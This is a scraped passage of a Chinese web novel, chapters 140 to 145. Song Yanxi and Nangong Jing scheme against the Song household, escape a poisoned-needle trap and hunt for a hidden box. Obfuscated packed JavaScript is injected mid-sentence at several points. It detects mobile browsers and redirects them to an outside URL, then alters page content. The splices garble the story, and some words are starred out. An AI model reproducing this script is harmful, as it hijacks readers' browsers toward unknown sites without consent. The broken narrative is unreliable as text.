宋颜夕摇头:“没见到宋章。不过,鱼饵已经抛出去了,接下来就等鱼儿上钩。” “是姜淑萍?”南宫景问。 “没错。作为宋章的枕边人,她一定比我们更了解宋章。或许,咱们找不到的东西,她真能找到。” “接下来你打算怎么做?”南宫景又问。 “自然是去会一会吏部尚书。” 说着,她转头看向南宫景:“你怎么又易容了?不是说好了要借用你的身份吗?” 南宫景很自然地牵着她的手往前走:“放心吧,已经打好招呼了。我现在的身份,是静安王府的信使。” 宋颜夕没问他为何要伪装身份,不过事实证明,这男人先前就是唬她的。静安王的名号的确是有些用处。 到了尚书府的时候,李举鹏已经亲自在门口侯着。 “信使,快快请进。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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静安王离开上京城很多年了,手上根本就没有实权。 若真出了事,拿什么保他? “怎么,李尚书这是在怀疑王爷的能力?说起来,李尚书好像就这一个儿子吧?真是可惜了,年纪轻轻,还没来得及给你们李家留后就被废了。” 一想到躺在床上的儿子,李举鹏顿时捏紧拳头:“信使放心,下官知道怎么做了。” 第140章:争吵 “你都跟李举鹏说什么了?我看他脸色怪怪的。” 离开尚书府后,宋颜夕低声问道。 “能说什么,当然是让他咬死这件事不放了。李举鹏这人最是瞻前顾后,虽因为是李公子的事与宋章闹了一场,却又不敢彻底得罪宋章。” 宋颜夕停下脚步:“你怎知我的计划?” “若连这都看不出来,怎么和宋姑娘谈合作?” 宋颜夕的确是想借着宋诚的事套出那个梅花盒子的下落。不过却并没有真的打算让李举鹏就此偃旗息鼓。 相反,她还要让李举鹏把这事儿闹得更大一些。 如此一来,哪怕是宋章能忍,姜淑萍也一定会为了救她的宝贝儿子向她妥协。 正如他们所计划的那样,李举鹏第二天就把宋诚告到了御前。 宋章据理力争,并且私底下和李举鹏交涉多次,想将宋诚伤人一事定性为过失,但李举鹏不为所动。 最后,皇帝将宋诚伤人一事交给大理寺审查。 听到这个消息的时候,姜淑萍气得砸碎了上好的琉璃盏。 “那老道士不是说了会替诚儿摆平此事吗?怎么还将人送到大理寺了?” 大理寺是战王的地盘,他们便是想让衙役关照宋诚,都伸不进手去。 “什么老道士?” 宋章从门口走进来的时候,正好听到这句话。 姜淑萍脸色一变:“没什么,我这不是为诚儿担心嘛。老爷,大理寺那边怎么说?” 宋章直接走到主位上坐下,语气不善:“那个老顽固,油盐不进。” “那可如何是好?不如咱们再找李尚书交涉,看看能否私了?” “他若真有私了的心,还会闹到御前吗?” “那李尚书平日里也不是这般强硬之人呐,他儿子只是断了腿,又不是丢了命,何必如此与咱们过不去?” 此话一出,她便察觉到宋章的脸色沉了下来:“只是断了腿?那可是李家唯一的香火,你的宝贝儿子打断了人家的腿,还怪人家不放过你儿子了?” 姜淑萍“腾”地站起来:“老爷,你怎么能这么说,诚儿也是你的儿子。” “他若不是我儿子,我当场就打断他的腿给李举鹏送去。为了个女人把自己弄成这样,还不都是你惯的?” “我惯的?宋章,这些年来,你只管在外面做你的丞相,府中的事你是半点都不过问。你那母亲贪财又好面子,还有老三家的,日日都想取代我执掌中馈,你以为我就很容易吗? 便是你那个半路领回来的女儿,也是隔三差五闯祸惹事,哪样不是我在后面给她善后?作为相府主母,这是我应尽的职责,我认。可如今诚儿出了事,你便都将过错都推到我的头上,难道,你这个做爹的就没有一点责任吗?” 宋章的脸色更沉了:“姜淑萍,你现在是对相府主母这个身份感到不满吗?当初,可是你自己腆着脸嫁给我的。若不是因为你,我与泞儿也不会......” 话说到这儿,宋章戛然而止。 他不再看姜淑萍,直接甩袖离开。 而姜淑萍却在听到他最后那句话的时候,整个人踉跄着后退了几步。 沈泞。 她有多少年没听过这个名字了? 疯狂地将桌上的东西全部摔在地上,姜淑萍面色狰狞:“你果然还是忘不了那个**。” 姜淑萍和宋章吵了一架的事,宋颜夕隔天就知道了。 她捏了捏手指,盘算着姜淑萍何时会来找她。 如今宋章对宋诚已经逐渐失去耐心,姜淑萍必然会抓住她抛出的橄榄枝。 果然,那件事发生之后的第三天,姜淑萍再次约她见面。 只不过这一次,她们并没有约在丞相府。 城郊长亭,宋颜夕和姜淑萍相对而坐。 “道长迟迟不动手,是怀疑本夫人的诚意吗?” 一见面,姜淑萍就开门见山,直奔主题。 宋颜夕依旧是上次那老道人的打扮,见姜淑萍语气不善,却也不恼:“夫人此言差矣。救人非一日之功,况且令公子的案子如今闹得沸沸扬扬,本道总要做些准备才是。” “那道长如今准备得如何了?” “差不多了。” “你打算如何救我诚儿?” “这个简单。” 宋颜夕直言不讳:“令公子的案子之所以闹到大理寺,无非就是李尚书不肯松口。老道有法子让他撤诉。” 姜淑萍面露喜色:“此话当真?” “没把握的事,本道自然不敢应允夫人。只不过,夫人答应本道的事?” 姜淑萍整了整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470824|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣袖:“道长放心,只要你能救出诚儿,你要的那样东西,本夫人定双手奉上。” “如此,就请夫人静候佳音了。” “道长且慢。” 宋颜夕正要离开,却被姜淑萍叫住。 “我儿如今已经入了大理寺,还望道长抓紧时间。” “夫人放心。不出五日,令郎必定安然无恙地回到府中。” 达成交易后,二人分道而行。 宋颜夕直接来到尚书府。 不过这次,她见到的却是另一个人。 也是老朋友了,眼前这人正是曾经和宋颜夕有过摩擦的林霜,林举鹏的女儿。 “你就是我爹爹请来给兄长治病的道士?” 林霜将她拦在花圃里,看向她的时候,眼中满是不屑。 “这都治了多少日了,我兄长的腿怎么还没有起色?你该不会,是招摇撞骗的神棍吧?” 宋颜夕:“林姑娘,令兄可是断了腿啊。都说伤筋动骨一百天,我便是神仙也不能让他短短几天就活蹦乱跳的。” “哼,这不过是你的托词罢了。” 林霜指着宋颜夕的鼻子:“我可不像我爹这么好骗,识相的就赶紧滚出尚书府。” “你的意思是,你爹,林尚书,很蠢咯?” 林霜语气一凝:“你胡说什么,我何时说过……” 话还没说完,忽然听见身后响起一道低沉的声音:“霜儿,不得对道长无理。” “爹?” 林霜快步跑到林举鹏身边:“爹,你别听他胡说,霜儿只是……” “你先退下。”林举鹏道。 “爹爹,他就是个神棍。他故意挑拨您和宋丞相的关系,其心可诛啊。” “我让你退下。” 林霜是被两个嬷嬷强行拖下去的。 宋颜夕看着这一幕,语气微凉:“林尚书该不会也在质疑本道的能力吧?” “不敢不敢,都是小女言语无状冲撞了道长,还请道长大人有大量,不要与小女计较。” “林尚书的言下之意,本道若与她计较,便是小肚鸡肠咯。” “本官不是这个意思,我的意思是……” 林举鹏正要解释,忽见一小厮匆匆忙忙跑过来。 “不好了大人,公子,不见了。” 第141章:姜淑萍的计策 林公子在自己家失踪是宋颜夕没有想到的。 她打量着林公子的房间,试图从中找到一些蛛丝马迹。 那边,林举鹏已经开始抓耳挠腮。 “到底是什么人做的?泉儿如今这般模样,若是有个好歹,我林家可就真的绝后了啊。” 林泉,是林公子的名字。 “林尚书不必太过担忧,林公子吉人自有天相,定然能安然无恙。” “道长,你说的是真的?” 宋颜夕点头:“这是自然。” 她装模作样掐了掐手指,道,“本道算了一卦,林公子此刻并无性命之忧。” “那便好,那便好啊。” “不过。” 宋颜夕又说了一句,“林公子目前身子虚弱,若是不尽快将人寻回,怕是……” “本官这就命人去找。” 林举鹏离开之后,宋颜夕走到床榻边上。 她的手在枕头上轻轻掠过,指尖瞬间多了一些白色粉末。 她将指尖放在鼻子前闻了闻,然后又推开窗户。 窗外的雪地上,留下几个零散的脚印。 脚印很深,想必是那人扛走林泉的时候留下的。 “能在尚书府把人掳走,有点本事啊。” 她从窗户上翻了出去,沿着脚印的方向走去。 最后,脚印在一处矮墙附近消失了。 宋颜夕不懂武功,跳不过那堵墙。 正当她踌躇之际,忽有什么东西落在她的肩膀上。 “道长,想翻墙吗?不如,找我帮忙呀。” 南宫景手中捏着一根枯草,正靠在不远处看着她。 方才砸在她肩膀上的雪球,就是他扔出来的。 “你怎么来了?”宋颜夕问。 南宫景还戴着上回那张**,显然是大摇大摆从正门进来的。 南宫景走到她身边,垂眸说了一句:“我若说我是来为你撑腰,你可信?” “我看啊,你根本就是来监视我的吧?怎么,你不信我?” “以小人之心度君子之腹了不是?我对宋姑娘的心,天地可鉴啊。” 见他一脸调侃的样子,宋颜夕沉默片刻。 到底是从什么时候开始呢? 总觉得这人哪里不一样了。 他以前,不这样与她说话的吧。 南宫景揽着她的腰,轻轻一跃就从墙头跳了出去。 出了院子之后,雪地上的脚印变得多了起来。 不过,因为那脚印比寻常脚印要更深一些,所以仔细查看还是能看出差别。 他们一路追查,直到尚书府后巷,脚印变成了马蹄印。 “你说,会是什么人掳走了林泉?” 南宫景看向那马蹄印:“是谁最不希望林举鹏和宋章和解呢?” 这个时候把林泉掳走,显然是为了加剧双方的矛盾。 不过这京中关系错综复杂,一时之间很难判断是谁下的手。 “看来,有人想搅浑上京城的水啊。”宋颜夕幽幽说道。 南宫景起身:“上京城的水,本就不干净。走吧,让我们看看浑水摸鱼的人究竟是谁。” 出了尚书府,若是仅凭马蹄印自然是很难追查。 不过他们自然有别的法子。 找到林泉的时候,他就被扔在城南的荒野上。 周围一个人都没有,他被冻得脸色发紫。 因为断了腿的关系,他只能用双手撑着一点一点在雪地里挪动。 宋颜夕摇了摇头:“啧啧啧,这也太可怜了。” 看眼前这个情况,对方是想冻死林泉。 林泉若**,林举鹏必然会把所有仇恨记在宋章头上,不管这件事是不是宋章做的。 不过有她在,对方的计划注定要落空。 当他们把林泉带回尚书府的时候,林举鹏老泪纵横。 “二位可真是我林家的恩人啊,从今往后,我林举鹏唯静安王马首是瞻。” “嗯。”南宫景淡淡应了一句,“李尚书快去看看令公子吧。” 林举鹏离开之后,宋颜夕撞了撞南宫景的胳膊:“怎么样,与本姑娘做交易,不亏吧?” 南宫景朝她咧嘴一笑:“宋姑娘可真是我的福星啊,下次有这种好事,记得还找我。” “好说好说。” 在宋颜夕的治疗下,林泉的腿一日日好了起来。 而那个掳走林泉的人也渐渐浮出水面。 “竟然是楚王干的?” 宋颜夕剪着烛芯,半张脸被映得微红:“宋章不是他的人吗?他为什么要这么做?” 南宫景靠在柱子上,侧身看着她:“或许,他们闹掰了?” “可能吗?” “怎么不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470825|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能,这世上并没有永远的盟友。” 宋颜夕停下手上的动作,转身看着他:“何二哥倒是看得通透。不知我与你之间的盟约,又能维系到几时?” 南宫景并没有立刻回答,而是走过去,在她身前站定。 他的双手搭在她的肩上,轻轻一用力就将她转了过去。 下一刻,他的右手覆在她的手背上,就着她刚刚的动作,将烛芯挑得更直了一些。 “我与宋姑娘的盟约,此生不变。” 他高大的身躯紧紧挨着她,看起来,更像是宋颜夕靠在她的怀中。 后背传来一阵阵灼热之感。 不知为何,宋颜夕忽然觉得有些不自在。 她轻咳一声,将手中的剪刀扔在桌上,同时,与他拉开距离。 “说大话谁不会?若是哪日你我之间起了利益冲突,何二哥怕是第一个对我下手。” 南宫景脸上的表情一僵:她还是,不信任他吗? “未来的事谁知道呢?” 他走到桌子旁坐下,用喝茶缓解此刻的心情。 “不如,咱们合计合计下一步该如何做。” 宋颜夕也没打算和他继续探讨所谓的信任话题,直接开口:“林举鹏这边没有问题。就看姜淑萍能给咱们提供什么情报了。” 她并不指望姜淑萍直接将那盒子交给她。 他们找了这么久都没有头绪的东西,姜淑萍未必就能得到。 从一开始,她想要的就是情报。 五日期限一到,林举鹏就到大理寺撤了案。宋诚被释放的那一天,易了容的宋颜夕和南宫景直接来到茱萸院。 看到他们的时候,姜淑萍脸上闪过惊慌之色。 但很快,她就冷静下来。 “宋二公子已经安全归家,夫人该兑现承诺了。”宋颜夕说道。 姜淑萍屏退左右,从一旁的柜子上取下一个黑匣子递到她面前。 “道长要的东西就在里面。” 宋颜夕并没有立刻接过那个匣子,而是转身在一旁的椅子上坐下。 “本道前两日伤了手,不如,请夫人替我打开,如何?” 姜淑萍脸色一变:“不过是个小匣子罢了,用不了多少力气。” “是啊,不过是个小匣子而已。夫人是不愿意,还是不敢啊?”宋颜夕语气淡淡,却莫名给人一种极大的压迫感。 第142章:缠在一起的呼吸 “道长这是什么意思?难道觉得本夫人会害你不成?”姜淑萍语气微冷。 “是与不是,夫人打开那匣子看看不就知道了吗?” 还没等姜淑萍开口,南宫景先动了。 他不过是轻轻抬了抬手,一颗石子便从他指尖弹了出来。 “既然夫人不愿,不如我来帮你一把。” 石子射在匣子上,发出一阵细碎的声响。姜淑萍脸色一变,立刻将那匣子扔了出去。 “砰!” 匣子落地,盖子被打开。 那一刻,无数枚银针从匣子里射了出来。 虽然姜淑萍已经迅速躲避,手背上还是扎进了一枚。 “呀,好厉害的机关。” 宋颜夕故作不知,转身和南宫景探讨:“这该不会就是传说中的梨花针吧?” 南宫景一本正经地回答:“赝品罢了。若是真正的梨花针,宋夫人如今已经命丧黄泉。” “这样啊,真是可惜。” 宋颜夕说到这儿,忽然捂住嘴看向姜淑萍:“宋夫人莫要误会,本道只是可惜不能一睹梨花针的风采。可没有咒你死的意思啊。” “你……” 姜淑萍脸色发白,踉跄了几步之后就在椅子上瘫坐下来。 宋颜夕只需看一眼便知道,针上有毒。 这个姜淑萍果然有些手段。 表面上答应她的条件,实则早就打算在达到目的之后杀她而后快。 只可惜,偷鸡不成蚀把米。 “夫人这是怎么了?怎么脸色这么难看呢?” 宋颜夕丝毫不掩饰她的幸灾乐祸。 南宫景接了一句:“想必是太过担心宋二公子了。” “原来是这样啊?夫人切莫太过忧虑,二公子这都已经回来了。总不至于再出什么事的。” “那可不一定。” 南宫景和她唱双簧:“以宋二公子的秉性,这牢狱之仇怕是咽不下,你说他若是再去找李尚书的麻烦,会不会闯下更大的祸?” “嗯,若是再来一回,怕就不仅仅是蹲大狱这么简单了。” 宋颜夕一边说,一边观察着姜淑萍的表情:“那可真是可惜了风华正茂的宋二公子呢。哦对了,夫人您可要保重身子,二公子的后事,还需要您操持呢。” 听了这句话之后,姜淑萍的脸色更白了。 “你......” 她伸手指向宋颜夕,哆哆嗦嗦讲不出半个字。 抖着抖着,她猛地吐出一口黑血。 “来,来人呐!” 姜淑萍想叫人进来,可她为了杀宋颜夕,已经将身边的人都支开了。 而且她此刻虚弱得很,讲出来的话也是如蚊子叫一般,守在外面的人根本就听不见。 “省省力气吧宋夫人,你越是心急啊,毒素蔓延得越快。” 宋颜夕拎着椅子在她一步开外坐下,与她面对面,“本道心善,最是见不得这种血腥场面。不如,咱们再做个交易,如何?” 姜淑萍的脸已经由白转为青色,整个人有气无力地靠在那儿,不过一双眼睛倒是瞪得很大:“你又想做什么?” “我想做什么?宋夫人还真是健忘啊,我要什么,不是早就告知你了吗?” 姜淑萍捏紧拳头:“相府根本就没有你说的那样东西,你根本就是在耍我!” 为了以防万一,姜淑萍其实也是做了两手准备的。 只不过,她找遍了这府中各处,都没有找到宋颜夕说的那个盒子。 “相府没有,你不会去外面找吗?夫人与宋丞相多年夫妻,不会连宋相的小金库都不晓得吧?” “什么小金库,我不知道你在说什么。” “夫人想和我兜圈子?我是无所谓的,反正我的时间多得是。至于夫人你嘛?” 宋颜夕将身子往后一靠,目光落在姜淑萍越来越黑的脸上:“若是再不服解药,怕是,活不过半个时辰了。” 此时此刻,姜淑萍悔得肠子都青了。 为了一击即中,她在准备那个毒匣子的时候就已经让人将解药都撒了。 “你能解我身上的毒?”姜淑萍死瞪着宋颜夕。 “这毒能不能解,全看夫人的选择。” 半个时辰后,茱萸院乱成一团。 而宋颜夕和南宫景早就趁着夜色离开了丞相府。 “姜淑萍的消息可信吗?”南宫景问。 宋颜夕挑眉:“可不可信,去看看不就知道了吗。” 姜淑萍告诉他们的那个地址,是坐落于城西的一处小院。 因为临近年关,街道上陆续挂起了灯笼。他们并肩而行,肩上落下一些淡淡的红光。 宋颜夕步子迈得很大,因为没注意脚下,身子一个趔趄。 南宫景一把拉住了她:“雪天路滑,走慢些。那东西若真在那儿,也丢不了。” 宋颜夕稳住身形:“茱萸院现在指不定乱成什么样呢,我是担心宋章察觉到什么,提前将东西转移了。” “放心,我已经派人过去了。” 宋颜夕目光微变:“你何时?” 话并未说完,南宫景已经拉着她往一个卖成衣的店铺走去。 “这是做什么?”宋颜夕问。 南宫景冲她眨眼:“闹了这么一出,指不定有人跟踪咱们呢。不如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477266|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,换个装扮?” 宋颜夕想了想,觉得他这提议没有问题。 从试衣间出来的时候,宋颜夕已经换上一套藕粉色的束腰长裙,脸上戴着同色面巾。 因为没有发饰,一头青丝只用一根木簪子半扎着。 她四下瞧了瞧,并未见到南宫景。 “哪儿去了?” 宋颜夕等了好一会儿都没见到人,顿时闪过一个念头。 “这家伙,该不会是不想付钱,先逃了吧?” 正在此时,耳边响起一道熟悉的声音:“在宋姑娘心中,我便是如此没有风度之人吗?” 宋颜夕抬头望去,正好见到这声音的主人立于门外。 他就这样淡淡地站着,右手提着个用布匹盖住的篮子。银丝绣流云纹的广袖长袍垂落在侧,墨发被夜风撩起几缕,与襟口雪白色的貂毛缠在一起。 他的薄唇挂着浅浅的笑意,衣袂翻飞间,连檐外溶溶月色都成了他袖间一缕流银。 不知不觉,宋颜夕竟然有些看呆了。 “你,去哪儿了?” 宋颜夕转过身,掩去心中一刹那的悸动。 南宫景缓缓走到她身边,随手扯下那篮子上的布匹。 “宋姑娘生得花容月貌,怎能没有头面相配?这不,去隔壁的珍宝阁替你寻了几件好看的物件。你且看看喜不喜欢?” 宋颜夕低头看去,果然见那篮子里摆着一整套的头面。 “你还懂这个?”宋颜夕接过篮子问了一句。 南宫景背手而立:“都是掌柜的介绍,我瞧着品相尚可,便买了。” “我去试试。” 转身的时候,宋颜夕嘴角扬起一道弧度。 这个男人,还挺有眼力见嘛。 看着她的背影,南宫景轻笑一声:“你慢慢试,若是不会,我可以帮忙。” 宋颜夕咆哮一声:“滚远点。” 这男人,是在暗指她平日里没有姑娘仪态,连头面都不会戴吧? 事实证明,南宫景的话并不是没有道理。 东越的头面甚是复杂。宋颜夕便是入了丞相府也没戴过一整套的头面。 有几样东西,她还真不知该如何佩戴。 最后,她索性就只是在头上插了支最简单的发簪。 见到她的时候,南宫景了然一笑:“怎么就戴了这个?可是不称你的心意?” 宋颜夕转过头去:“头上戴那么多东西,我嫌沉。赶紧走吧。” 就在她从南宫景身边走过的时候,却被南宫景抵在墙上。 南宫景离她很近 那一刻,两人的呼吸近乎缠在一起。 第143章:藏宝贝了? “又想干什么?”宋颜夕问。 “我说了,宋姑娘若是不会,我可以帮你的。” 说着,南宫景直接伸手从宋颜夕手中的篮子里取出华胜替她戴上。 “你看,这不是挺好看的嘛。” 宋颜夕直接将他推开:“我警告你啊,别趁机占本姑娘便宜。否则,我的拳头可不饶你。” 说罢,她快步离开了成衣店。 南宫景将一锭银子扔到掌柜手里,轻笑着跟了上去。 “好端端的生什么气啊?我是单纯地想帮你,并没有嘲笑你的意思。” 宋颜夕瞪了她一眼:“你当我蠢吗?” 她就是弄不来这些花里胡哨的东西,怎么滴吧? “好好好,是我的错。这样,我用那个向宋姑娘赔罪,可以了吧?” 南宫景所指的,是一个卖花灯的摊子。 宋颜夕咋舌:“又不是小孩子,谁要那个啊?” 她还想抓紧时间赶到宋章的“小金库”呢。 “着什么急啊?买个花灯又耽误不了多少时间。” “公子,给夫人买盏花灯吧?” 才刚走到摊位前,摊主就热情地招揽生意。 宋颜夕皱了皱眉:“我们不是……” “把那个拿给我瞧瞧。”南宫景抢先一步说道。 南宫景所指的,是一盏凤凰灯笼。 “公子好眼光,这凤凰灯可是寓意着永生呢,元日就要到了,是个**。” “就这个,我要了。” 南宫景果断付钱,然后将灯塞到宋颜夕手中:“你看,这灯与你多配啊。” 宋颜夕盯着那凤凰灯,神情有些恍惚。 她忽然又想到了听风馆的那幅画。 画中的蓝羽在继任大祭司的那一日,便是踏着火红的凤凰。 “想什么呢?”南宫景的声音将她的思绪拉回。 宋颜夕提着凤凰灯快步往前走:“衣裳也换了,灯也买了,赶紧走。” 南宫景沉思片刻,看向摊上泛着黄光的凤凰灯笼。 刚刚宋颜夕目光迷离,与她当初在听风馆“失魂”的模样十分相似。 所以,她当时在画中看到的,是,凤凰吗? …… 当他们赶到城西的时候,正好看到林昊和左翼从院子里翻出来。 “怎么样?”宋颜夕问。 林昊摇了摇头:“这儿的确是宋章的地盘。但我们里里外外都翻遍了,没有我们要找的东西。” “竟然也不在这儿吗?” 宋颜夕有些失望。 本以为姜淑萍对宋章足够了解。 但是很显然,并非如此。 “难道真的在楚王府?” 但很快她就否定了这个想法。 就连宋章跟楚王的关系,似乎也并不是表面上看到的那样和谐。 “他到底会把东西藏在哪儿呢?” 宋颜夕想了想,又问了一句:“会不会,他已经知道了那盒子的秘密?” 南宫景却摇了摇头:“不会。” “宋章若知道了黑铁矿的存在,不会没有动作。而他一旦有了动作,某些人可就按捺不住了。” 宋颜夕看向他:“他现在,想必在集中火力对付楚王吧?” 正如宋颜夕所说,国师这几日可没闲着。 虽然被**,但他在朝堂扎根这么多年,不可能没有底牌。 而且南宫景有意留着他对付南宫宴,并未真的对他下死手。 是以,这几日他和楚王斗得不可开交。 想到这儿,宋颜夕又问了一句:“你说,他会不会已经把东西转移了?” 南宫景摆了摆手:“我的人一直盯着他呢,他现在不敢动。” “你,查他很久了?” “比你想象的还要久。所以宋姑娘,我是你最好的盟友。” 南宫景一边说,一边靠近她:“宋姑娘不妨考虑考虑,与我深度合作。” “深度合作?”宋颜夕不解。 “就是……” 南宫景正要说话,忽然听见不远处传来一阵马蹄声。 “是宋章。” 林昊低声说了一句。 几人交换了一个眼神,迅速隐入黑暗之中。 宋章是直接从马上跳下来的,下马后便匆匆冲进了院门。 “这么着急?他在这里面藏宝贝了?” 黑暗中,宋颜夕问了一句。 林昊摇头:“没有啊,里面都是些寻常物件。别说宝贝了,连一张银票都没有。” “这就奇怪了。” 宋颜夕用两根手指头托着下巴,“那他这着急忙慌的是做什么呢?” 宋章在院子里待的时间并不长,出来的时候,他步履很慢,与进去的 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前世,宋颜夕几乎都在为国事操劳。重生后又忙于筹谋复仇之事,倒是鲜少瞧见这般歌舞升平的景象。 如今融于市井,倒是让她的情绪得到很大的放松。 南宫景顺势取下一个糖人递到她跟前:“要不要尝尝?” “我这样,怎么尝?”宋颜夕指了指自己的面纱。 “那不如,去那坐坐?” 南宫景指着的,是不远处的一座酒楼。 刚走到酒楼门口,就听见里头传来叫好声。 “朱兄不愧是江州第一才子,此联甚妙啊。” “窦兄过誉了,你的字才是一绝......” 宋颜夕见一群人围在那儿,低声问了一句:“这又是在作甚?” “这个啊,是文斗。也是上京城的习俗了,若得文斗魁首,便有机会拜入荀老先生门下。” “荀老先生又是谁?” “东越首屈一指的文学大儒,朝中有一半文官都是他的门生。” 这么厉害? 南宫景轻轻“嗯”了一声,幼年时,他也曾有幸得到荀老先生的点拨。 正说着,人群中忽然冲出一人,不由分说地拿着**朝宋颜夕身上刺来。 第144章:她的计划 “砰!” 那人还没接近宋颜夕就被南宫景一脚踹飞了。 他的力道很大,那人倒地的时候,猛地吐出一口血。 因为这番动静,方才还沉迷于文斗的众人顿时朝他们这般看了过来。 “这不是贾疯子吗?消失一年,我还以为他**呢。” 人群中,有人说了一句。 宋颜夕看向那人:“你认得此人?” “他啊,名叫贾尤,多年来沉迷于文斗,但年年斗,年年输。自从三年前输给宋公子后,他就疯了。” “宋公子?” 那人又道:“就是丞相府的大公子,宋钰。” 姜淑萍给宋章生了二子一女,这宋钰便是她的长子。 说起来,她入相府那么些时日,还未曾见过这位大公子呢。 “依公子所说,这位宋公子应是文采斐然。” “那是自然,宋大公子的学问,便是比起锦心公子,也是不遑多让的。” 和柳如风不相上下? 没想到这个宋钰竟这般厉害。 “你对那宋钰,有兴趣?” 二楼包厢,南宫景将手中的糖人递给宋颜夕。 宋颜夕咬了一口,香甜的味道透过味蕾,直达上颚。 “你说,那东西会不会在宋钰手上?” 南宫景摇头:“宋钰如今在工部任职,一年前为建造防洪堤坝离京,至今未归,想来,宋章并没有机会将那东西交给他。” “那就奇怪了,他到底会把东西放在哪里呢?” 南宫景给她倒了一杯茶:“解解腻。” 宋颜夕也不跟他客气,直接将那茶一饮而尽。 “罢了罢了,咱们都找了这么久,也不急于这一时。” 宋颜夕看向窗外,正好见到不远处有个杂耍队表演。 而在那看热闹的人群当中,她见到了一个熟人。 “竟然是她?”宋颜夕捏着杯子的力道加大,指尖都被压出了一些白痕。 南宫景顺着她所看的方向望去:“见到故人了?” “确实是故人。” 虽然那人做了伪装,但宋颜夕毕竟与她一同长大,几乎是第一眼就认出她来。 那个穿着东越服饰,作妇人打扮的,正是她曾经的好友——乐歆。 她曾经以为,巫黛和乐歆会是她此生最好的朋友。 但没想到,这二人早就狼狈为奸。 那日,正是乐歆在她的芙蓉糕中下了毒,她才会毫无还手之力,最终死在巫黛的手中。 若非因为信任,以她的医术,不可能发现不了那芙蓉糕的异常。 想到这儿,她“腾”地站了起来,转身就朝门口的方向走去。 南宫景不知她看到了什么,却还是快步跟了上去。 当他们抵达那杂耍队附近,人群中早就没有了乐歆的身影。 宋颜夕握紧拳头。乐歆出现在这儿,莫非是来和那屠龙会的首领接头的? 他们又达成了什么交易吗? “怎么魂不守舍的?你刚刚到底看到什么了?”南宫景问。 宋颜夕动了动嘴皮,却终究是什么都没说。 关于西菱的一切,她不能告诉他。 “我懂了。” 南宫景没有追问,只是淡淡说了一句,“时辰也不早了,先回府吧。” 宋颜夕点头,率先朝前走去。 南宫景看向那杂耍队,眸子里闪过一道冷芒。他朝暗处比了个手势,然后才追着宋颜夕离开的方向而去。 回府后,宋颜夕一头钻进了屋子里。 “姑娘,你是说你见到乐歆了?” 对于乐歆,紫翎并不陌生。 反倒是春分问了一句:“乐歆是何人?” “司空府的大小姐,也是陛下少时的伴读。” 紫翎一边说,一边观察着宋颜夕的表情。见她脸上没什么太大的波动才继续说道,“不过,她和巫黛一样,都是背叛者。” “竟然是叛徒,我这就去杀了她。” 春分平日里也是沉稳的性子,但她平日里最是仰慕月容女帝,所以,一提到那件事就会变得异常激动。 紫翎也是摩拳擦掌:“我和你一起去。” “站住。” 宋颜夕叫住她们:“我不过是远远瞧了一眼,尚不知她如今在东越是什么身份。你们又上哪儿去找她?” “便是把整个上京城翻过来,我也一定要将这叛徒绳之以法。”紫翎义愤填膺。 春分也是怒目圆瞪:“就是,竟敢背叛陛下。这样的叛徒,就该千刀万剐。” 见她们仍往外走,宋颜夕低喝一声:“都给我回来。别忘记,这儿可是东越的地盘。你们是生怕别人不知道咱们的身份吗?” “可是姑娘......” 紫翎还要说什么,在对上宋颜夕的目光时顿时 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“姑娘!这怎么可以?您好不容易脱离那个地方,若是再回去就没这么容易出来了。” 紫翎撸起袖子:“春分说的是,不如,我们直接将宋钰和乐歆绑来,严刑逼供。” “没用的。” 她了解乐歆,那家伙的骨头硬的很,并不是严刑逼供就能服软的。 虽然她也不想回去,但眼下,宋家的疑点颇多,她必须查清楚这件事。 不过在这之前,她得先洗清身上的污名。 “你要回相府?” 听到这个消息的时候,南宫景倒是十分淡定。 似乎,早就料到她会这么做。 “是啊,如果顺利的话,应该年后便走。” “想好怎么回去了?” 南宫景指的,是当初国师冤枉她的祸国妖孽的事。 宋颜夕点头:“不过是一句空口白话,如今那神棍的声誉已经大不如前,我只需略施小计便能推翻他的言论。” 她这么说,便是已经有了应对之法。 南宫景没有挽留,却话锋一转提到另外一件事:“既然如此,宋姑娘答应我的条件,也是时候兑现了。” 第145章:假扮他的“夫人” 南宫景说的,是宋颜夕当初为了接近林尚书答应他的那个条件。 “一定要现在吗?”宋颜夕皱眉。 “宋姑娘该不会想要反悔吧?也罢,你若是不愿意,我自然也是不好强迫你的。谁让咱们是朋友呢,你若要毁约,便毁吧。” 